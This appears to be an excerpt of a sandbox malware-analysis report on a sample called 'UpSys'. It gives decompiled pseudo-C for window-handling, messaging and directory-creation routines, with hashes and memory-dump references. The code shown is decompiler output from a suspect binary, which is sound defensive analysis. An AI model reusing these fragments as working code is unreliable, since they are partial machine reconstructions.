                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: KeyboardState$InputMessagePostSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 432972143-0
                                                                                                                                                                                                        • Opcode ID: b8259876c494ed8d52c2cb0b0b68a87536fa9c110f69d86954b0a922ed80c210
                                                                                                                                                                                                        • Instruction ID: 4739575670998a9dd7bc7190cae162999c0574368e96aeb6f3988ed5fdf57423
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b8259876c494ed8d52c2cb0b0b68a87536fa9c110f69d86954b0a922ed80c210
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9141053620568049EB72DB26A4147EA67A4F38EBE8F440115FB8A037B5CB7EC595CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140086990 Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E00000001140086990(void* __ecx, void* __esi, void* __eflags, void* __rax, long long __rbx, intOrPtr* __rcx, long long __rbp, signed int* __r8, long long _a8, long long _a16, char _a32, intOrPtr _a36) {
				intOrPtr _v36;
				char _v40;
				void* __rdi;
				void* __rsi;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				void* _t76;

				_a8 = __rbx;
				_a16 = __rbp;
				_t54 = __rcx;
				GetForegroundWindow();
				r12d = 1;
				_t76 = __rax;
				E00000001140050440(r12b, __rax);
				if (GetCaretPos(??) != 0) goto 0x400869fa;
				E00000001140007A40(_t54, __r8, __r8);
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = r12d;
				_t52 =  *_t54;
				r8d = 0;
				E0000000114000FCA0(r12d, _t52, _t54,  *((intOrPtr*)(_t52 + 4)) + _t54, __r8);
				goto 0x40086a91;
				_t6 =  &_a32; // 0x69
				ClientToScreen(??, ??);
				GetForegroundWindow();
				_t8 =  &_v40; // 0x21
				E0000000114003E290( *((intOrPtr*)(_t54 + 0x1d4)), _t8, _t52);
				r11d = _v40;
				_a32 = _a32 - r11d;
				_a36 = _a36 - _v36;
				r8d = 2;
				E00000001140012B40(r12d, __r8, _t6, __r8, _t8, _t52);
				r9d = 0;
				r8d = r12d;
				E00000001140011400(0, _t54, __r8, _t71, __r8, _t52);
				_t72 = _t52;
				E00000001140007A40(_t54, _t52, __r8);
				r9d = r12d;
				r8d = r12d;
				 *(_t72 + 8) = r12d;
				 *_t72 = _a32;
				E00000001140011400(0, _t54, __r8, _t72, __r8, _t52);
				_t73 = _t52;
				E00000001140007A40(_t54, _t52, __r8);
				 *(_t73 + 8) = r12d;
				 *_t73 = _a36;
				E00000001140050440(0, _t76);
				return 0;
			}













                                                                                                                                                                                                        0x140086990
                                                                                                                                                                                                        0x140086995
                                                                                                                                                                                                        0x1400869a5
                                                                                                                                                                                                        0x1400869a8
                                                                                                                                                                                                        0x1400869ae
                                                                                                                                                                                                        0x1400869b7
                                                                                                                                                                                                        0x1400869bd
                                                                                                                                                                                                        0x1400869cf
                                                                                                                                                                                                        0x1400869d4
                                                                                                                                                                                                        0x1400869d9
                                                                                                                                                                                                        0x1400869dc
                                                                                                                                                                                                        0x1400869e0
                                                                                                                                                                                                        0x1400869e3
                                                                                                                                                                                                        0x1400869f0
                                                                                                                                                                                                        0x1400869f5
                                                                                                                                                                                                        0x1400869fa
                                                                                                                                                                                                        0x140086a02
                                                                                                                                                                                                        0x140086a08
                                                                                                                                                                                                        0x140086a14
                                                                                                                                                                                                        0x140086a1f
                                                                                                                                                                                                        0x140086a24
                                                                                                                                                                                                        0x140086a2d
                                                                                                                                                                                                        0x140086a32
                                                                                                                                                                                                        0x140086a36
                                                                                                                                                                                                        0x140086a42
                                                                                                                                                                                                        0x140086a47
                                                                                                                                                                                                        0x140086a4a
                                                                                                                                                                                                        0x140086a52
                                                                                                                                                                                                        0x140086a5e
                                                                                                                                                                                                        0x140086a61
                                                                                                                                                                                                        0x140086a66
                                                                                                                                                                                                        0x140086a69
                                                                                                                                                                                                        0x140086a71
                                                                                                                                                                                                        0x140086a75
                                                                                                                                                                                                        0x140086a77
                                                                                                                                                                                                        0x140086a83
                                                                                                                                                                                                        0x140086a86
                                                                                                                                                                                                        0x140086a8b
                                                                                                                                                                                                        0x140086a8f
                                                                                                                                                                                                        0x140086a96
                                                                                                                                                                                                        0x140086aaf

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2759813231-0
                                                                                                                                                                                                        • Opcode ID: 452691865b33a0d70e27a684d057eded7434ea068188b9f233306a1278ffd07c
                                                                                                                                                                                                        • Instruction ID: 8e6d6088cdfe150edf70d5a4b906f6c04c6427111950f79671b6f2d4f0d945b4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 452691865b33a0d70e27a684d057eded7434ea068188b9f233306a1278ffd07c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 54314B727046808AE715EF23E455BDEA7A0FBCDBD4F048420BF8A47B6ADA39D551CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140073310 Relevance: 6.1, APIs: 4, Instructions: 76windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 55%
                                                                                                                                                                                                        			E00000001140073310(void* __eax, void* __edx, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				char _v56;
				void* _t34;
				void* _t44;
				long long _t63;
				void* _t67;
				void* _t69;
				struct HWND__* _t75;

				_t63 = __rsi;
				_t61 = __rdi;
				_t45 = __rbx;
				_t44 = _t69;
				 *((long long*)(_t44 + 8)) = __rbx;
				 *((long long*)(_t44 + 0x10)) = __rbp;
				 *((long long*)(_t44 + 0x18)) = __rsi;
				 *((long long*)(_t44 + 0x20)) = __rdi;
				_t67 = __r8;
				E00000001140043770();
				_t34 = __eax;
				E000000011400107E0(_t44, __r8, 0x4009b6c0, __rdi);
				if (__edx != 0) goto 0x4007339d;
				if (_t34 <= 0) goto 0x40073404;
				r9d = 2;
				if (SendMessageW(_t75, ??, ??) != 0) goto 0x4007337c;
				if (1 - _t34 < 0) goto 0x40073355;
				goto 0x40073404;
				r8d = 0xa;
				E000000011400176C4(1,  &_v56, 0);
				E000000011400107E0(_t44, _t67,  &_v56, _t61);
				goto 0x40073404;
				if (_t34 <= 0) goto 0x40073404;
				r9d = 2;
				if (SendMessageW(??, ??, ??, ??) == 0) goto 0x400733fb;
				r8d = 0xa;
				E000000011400176C4(0,  &_v56, __rsi);
				if (E00000001140042380(_t44, _t67) != 0) goto 0x400733ee;
				E00000001140011830(__rbx, _t67, "|", __rsi, _t67);
				E00000001140011830(_t45, _t67,  &_v56, _t63, _t67);
				if (1 - _t34 < 0) goto 0x400733a5;
				return 1;
			}










                                                                                                                                                                                                        0x140073310
                                                                                                                                                                                                        0x140073310
                                                                                                                                                                                                        0x140073310
                                                                                                                                                                                                        0x140073310
                                                                                                                                                                                                        0x140073313
                                                                                                                                                                                                        0x140073317
                                                                                                                                                                                                        0x14007331b
                                                                                                                                                                                                        0x14007331f
                                                                                                                                                                                                        0x140073329
                                                                                                                                                                                                        0x140073331
                                                                                                                                                                                                        0x140073340
                                                                                                                                                                                                        0x140073342
                                                                                                                                                                                                        0x140073349
                                                                                                                                                                                                        0x14007334f
                                                                                                                                                                                                        0x140073361
                                                                                                                                                                                                        0x14007336f
                                                                                                                                                                                                        0x140073375
                                                                                                                                                                                                        0x140073377
                                                                                                                                                                                                        0x140073381
                                                                                                                                                                                                        0x140073389
                                                                                                                                                                                                        0x140073396
                                                                                                                                                                                                        0x14007339b
                                                                                                                                                                                                        0x1400733a1
                                                                                                                                                                                                        0x1400733a9
                                                                                                                                                                                                        0x1400733bf
                                                                                                                                                                                                        0x1400733c6
                                                                                                                                                                                                        0x1400733ce
                                                                                                                                                                                                        0x1400733dd
                                                                                                                                                                                                        0x1400733e9
                                                                                                                                                                                                        0x1400733f6
                                                                                                                                                                                                        0x140073402
                                                                                                                                                                                                        0x140073420

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend_itow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3464099026-0
                                                                                                                                                                                                        • Opcode ID: f8961c7a439db62eb22c9f25f8b4a00dcda4933bbeb9b60464ca385b649004ba
                                                                                                                                                                                                        • Instruction ID: a9c2ec332b8043c0a6ae275fb0ae4c94821ab0908e37d14837244c647e73c90b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f8961c7a439db62eb22c9f25f8b4a00dcda4933bbeb9b60464ca385b649004ba
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B4219A76310B9085FB26AB6790843D967A1B78DBC0F584125FFC90B7A6DE7DD206CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140052320 Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 28%
                                                                                                                                                                                                        			E00000001140052320(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r9, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				int _t21;
				long _t27;
				void* _t43;
				void* _t44;
				void* _t70;
				int _t77;
				void* _t78;
				struct HWND__* _t80;
				struct HWND__* _t83;

				_t43 = _t70;
				 *((long long*)(_t43 + 8)) = __rbx;
				 *((long long*)(_t43 + 0x10)) = __rbp;
				 *((long long*)(_t43 + 0x18)) = __rsi;
				 *((long long*)(_t43 + 0x20)) = __rdi;
				_t78 = __rcx;
				_t21 = IsWindowVisible(_t83);
				r14d = 0;
				if (_t21 != r14d) goto 0x40052364;
				if ( *((intOrPtr*)(__rcx + 9)) != sil) goto 0x40052407;
				r9d = 0;
				r8d = 0;
				SendMessageW(_t80, _t77);
				_t63 =  ==  ? _t43 : _t43;
				_t44 =  <  ? 0xffffffff : _t43;
				E00000001140016ED8(_t44, _t44);
				_t27 = SendMessageW(??, ??, ??, ??);
				 *((intOrPtr*)(_t44 + ( ==  ? _t43 : _t43) * 2)) = r14w;
				if (_t44 - _t83 <= 0) goto 0x400523ff;
				if ( *((intOrPtr*)(_t78 + 0x10)) != r14b) goto 0x400523e2;
				E00000001140016A44(_t27, _t44);
				E00000001140017B80(CharUpperBuffW(??, ??), _t44,  *((intOrPtr*)(_t78 + 0x38)));
				if (_t44 == _t83) goto 0x400523ff;
				 *((intOrPtr*)(_t78 + 0x184)) = sil;
				0x40016a60();
				return r14d;
			}












                                                                                                                                                                                                        0x140052320
                                                                                                                                                                                                        0x140052323
                                                                                                                                                                                                        0x140052327
                                                                                                                                                                                                        0x14005232b
                                                                                                                                                                                                        0x14005232f
                                                                                                                                                                                                        0x14005233d
                                                                                                                                                                                                        0x140052346
                                                                                                                                                                                                        0x14005234c
                                                                                                                                                                                                        0x140052357
                                                                                                                                                                                                        0x14005235e
                                                                                                                                                                                                        0x140052364
                                                                                                                                                                                                        0x140052367
                                                                                                                                                                                                        0x140052371
                                                                                                                                                                                                        0x140052389
                                                                                                                                                                                                        0x140052399
                                                                                                                                                                                                        0x1400523a0
                                                                                                                                                                                                        0x1400523b6
                                                                                                                                                                                                        0x1400523bc
                                                                                                                                                                                                        0x1400523c5
                                                                                                                                                                                                        0x1400523cc
                                                                                                                                                                                                        0x1400523d1
                                                                                                                                                                                                        0x1400523ea
                                                                                                                                                                                                        0x1400523f2
                                                                                                                                                                                                        0x1400523f4
                                                                                                                                                                                                        0x140052402
                                                                                                                                                                                                        0x140052427

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$BuffCharUpperVisibleWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2796087071-0
                                                                                                                                                                                                        • Opcode ID: 8935f85f960301985993fed10edaa87bdc6dcb7a4e1484346cea48fb3f0f8212
                                                                                                                                                                                                        • Instruction ID: eda688827cf4532e985793c3bb965a87cf101f23e916470c4532b36992e5c53d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8935f85f960301985993fed10edaa87bdc6dcb7a4e1484346cea48fb3f0f8212
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B621BE327006C04AEB56DB67E90879A27A5F74EFE0F484225FF1A677A1CE39D4808304
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008BBB0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 29%
                                                                                                                                                                                                        			E0000000114008BBB0(void* __ecx, void* __edi, void* __esi, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, signed int* __r8, void* __r9, void* __r10, long long _a8, long long _a16, long long _a24) {
				long _t21;
				long _t22;
				void* _t36;
				void* _t37;
				signed int* _t61;
				intOrPtr* _t63;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t63 = __rcx;
				_t61 = __r8;
				_t42 = __rdx;
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				_t60 = __rdx;
				E00000001140084540(__rax, __rdx, __rcx, __rdx, __rcx, __r8);
				_t36 = E000000011400815F0(__ecx, 1, __edi, __rax, _t42, _t63, _t60, __rbp, __r9, __r10);
				if (_t36 > 0) goto 0x4008bc2e;
				if (_t36 >= 0) goto 0x4008bc1a;
				r8d = 0;
				E0000000114000FCA0( ~_t17, __rax, _t42,  *((intOrPtr*)( *_t63 + 4)) + _t63, _t63);
				E00000001140007A40(_t42, _t61, _t63);
				 *_t61 =  *_t61 & 0x00000000;
				_t61[2] = 1;
				goto 0x4008bc8e;
				_t21 = GetWindowLongW(??, ??);
				_t37 = bpl - 0xff;
				if (_t37 < 0) goto 0x4008bc68;
				asm("bt eax, 0x13");
				if (_t37 >= 0) goto 0x4008bc68;
				asm("btc eax, 0x13");
				r8d = _t21;
				_t22 = SetWindowLongW(??, ??, ??);
				goto 0x4008bc8e;
				asm("bts eax, 0x13");
				r8d = _t22;
				SetWindowLongW(??, ??, ??);
				r9d = 2;
				r8b = bpl;
				__imp__SetLayeredWindowAttributes();
				return 0;
			}









                                                                                                                                                                                                        0x14008bbb0
                                                                                                                                                                                                        0x14008bbb5
                                                                                                                                                                                                        0x14008bbba
                                                                                                                                                                                                        0x14008bbc4
                                                                                                                                                                                                        0x14008bbcb
                                                                                                                                                                                                        0x14008bbd2
                                                                                                                                                                                                        0x14008bbd5
                                                                                                                                                                                                        0x14008bbe2
                                                                                                                                                                                                        0x14008bbe7
                                                                                                                                                                                                        0x14008bbef
                                                                                                                                                                                                        0x14008bbfe
                                                                                                                                                                                                        0x14008bc00
                                                                                                                                                                                                        0x14008bc02
                                                                                                                                                                                                        0x14008bc09
                                                                                                                                                                                                        0x14008bc15
                                                                                                                                                                                                        0x14008bc1d
                                                                                                                                                                                                        0x14008bc22
                                                                                                                                                                                                        0x14008bc25
                                                                                                                                                                                                        0x14008bc2c
                                                                                                                                                                                                        0x14008bc42
                                                                                                                                                                                                        0x14008bc48
                                                                                                                                                                                                        0x14008bc4c
                                                                                                                                                                                                        0x14008bc4e
                                                                                                                                                                                                        0x14008bc52
                                                                                                                                                                                                        0x14008bc54
                                                                                                                                                                                                        0x14008bc5d
                                                                                                                                                                                                        0x14008bc60
                                                                                                                                                                                                        0x14008bc66
                                                                                                                                                                                                        0x14008bc68
                                                                                                                                                                                                        0x14008bc71
                                                                                                                                                                                                        0x14008bc74
                                                                                                                                                                                                        0x14008bc7a
                                                                                                                                                                                                        0x14008bc80
                                                                                                                                                                                                        0x14008bc88
                                                                                                                                                                                                        0x14008bca4

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Long$AttributesLayered
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2169480361-0
                                                                                                                                                                                                        • Opcode ID: 8583e30f4541fa8cb52539178eac23a190ef3e353e2804f69451f930cde2236d
                                                                                                                                                                                                        • Instruction ID: 8a6a16c6f929897233954b31000a27b5dbb4908bb2d38901d451b995958f7035
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8583e30f4541fa8cb52539178eac23a190ef3e353e2804f69451f930cde2236d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7621AF32704A4082EA159F27E894BAEA361F7CDFD0F588425FF5A877A6DF79C4428340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140040A20 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 32%
                                                                                                                                                                                                        			E00000001140040A20(void* __eflags, signed long long __rax, long long __rbx, void* __rcx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				void* _v8;
				char _v536;
				int _t31;
				signed int _t35;
				signed long long _t53;
				void* _t70;
				void* _t71;
				void* _t73;

				_t73 = __r8;
				_t54 = __rbx;
				_t53 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_t71 = _t70 - 0x230;
				r8d = 0x104;
				E00000001140016A44(E00000001140040620(__rbx,  &_v536),  &_v536);
				if (_t53 == __rsi) goto 0x40040a67;
				if ( *((intOrPtr*)(_t71 + 0x1e + _t53 * 2)) != 0x5c) goto 0x40040a67;
				 *((short*)(_t71 + 0x1e + _t53 * 2)) = 0;
				if (GetFileAttributesW(??) != 0xffffffff) goto 0x40040aef;
				if (GetLastError() != 2) goto 0x40040a97;
				if (CreateDirectoryW(??, ??) == 0) goto 0x40040a9c;
				goto 0x40040af5;
				if (1 != 3) goto 0x40040af3;
				E00000001140015220(_t53, _t54,  &_v536);
				E000000011400187D0(0x5c, _t53, _t73);
				if (_t53 != __rsi) goto 0x40040ac2;
				0x40016a60();
				goto 0x40040af3;
				 *_t53 = 0;
				_t35 = E00000001140040A20(_t53 - __rsi, _t53, _t54, _t53, __rsi, _t73);
				0x40016a60();
				if (_t35 == sil) goto 0x40040aeb;
				_t31 = CreateDirectoryW(??, ??);
				goto 0x40040af5;
				if (((_t35 & 0xffffff00 | _t31 != 0x00000000) & 0x00000010) != 0) goto 0x40040a93;
				return 0;
			}











                                                                                                                                                                                                        0x140040a20
                                                                                                                                                                                                        0x140040a20
                                                                                                                                                                                                        0x140040a20
                                                                                                                                                                                                        0x140040a20
                                                                                                                                                                                                        0x140040a25
                                                                                                                                                                                                        0x140040a2b
                                                                                                                                                                                                        0x140040a3a
                                                                                                                                                                                                        0x140040a4a
                                                                                                                                                                                                        0x140040a59
                                                                                                                                                                                                        0x140040a60
                                                                                                                                                                                                        0x140040a62
                                                                                                                                                                                                        0x140040a75
                                                                                                                                                                                                        0x140040a80
                                                                                                                                                                                                        0x140040a91
                                                                                                                                                                                                        0x140040a95
                                                                                                                                                                                                        0x140040a9a
                                                                                                                                                                                                        0x140040aa1
                                                                                                                                                                                                        0x140040aae
                                                                                                                                                                                                        0x140040ab9
                                                                                                                                                                                                        0x140040abb
                                                                                                                                                                                                        0x140040ac0
                                                                                                                                                                                                        0x140040ac2
                                                                                                                                                                                                        0x140040acd
                                                                                                                                                                                                        0x140040acf
                                                                                                                                                                                                        0x140040ad7
                                                                                                                                                                                                        0x140040ae0
                                                                                                                                                                                                        0x140040aed
                                                                                                                                                                                                        0x140040af1
                                                                                                                                                                                                        0x140040b09

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateDirectory$AttributesErrorFileLast
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2267087916-0
                                                                                                                                                                                                        • Opcode ID: 52d81ead8eb3bbd3c0e942480cec102828623bd8c1395c242d2f4d4ee6fd2720
                                                                                                                                                                                                        • Instruction ID: a099ea06e5abf7d6354429d6b0f76d38f0ce8a0f9a935454dba2f25179db8201
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 52d81ead8eb3bbd3c0e942480cec102828623bd8c1395c242d2f4d4ee6fd2720
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7121B63261474081FA72A722E4443DE6361FB9C7C0F964521FB8A676F6CA3CCA558746
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140068B40 Relevance: 6.1, APIs: 4, Instructions: 63networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
